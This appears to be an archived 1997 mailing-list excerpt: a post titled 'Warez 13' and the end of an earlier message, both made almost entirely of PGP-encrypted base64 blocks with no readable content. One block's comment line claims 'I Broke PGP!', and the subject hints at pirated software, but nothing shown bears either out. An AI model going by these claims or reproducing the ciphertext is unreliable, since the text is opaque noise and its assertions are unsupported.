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
FNLUDOyKzMQFQcw0WN5De2StUjEPzmf0fF1t
=c9Lr
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:37:30 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:37:30 +0800
Subject: Warez 13
Message-ID: <199712180830.AAA16087@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
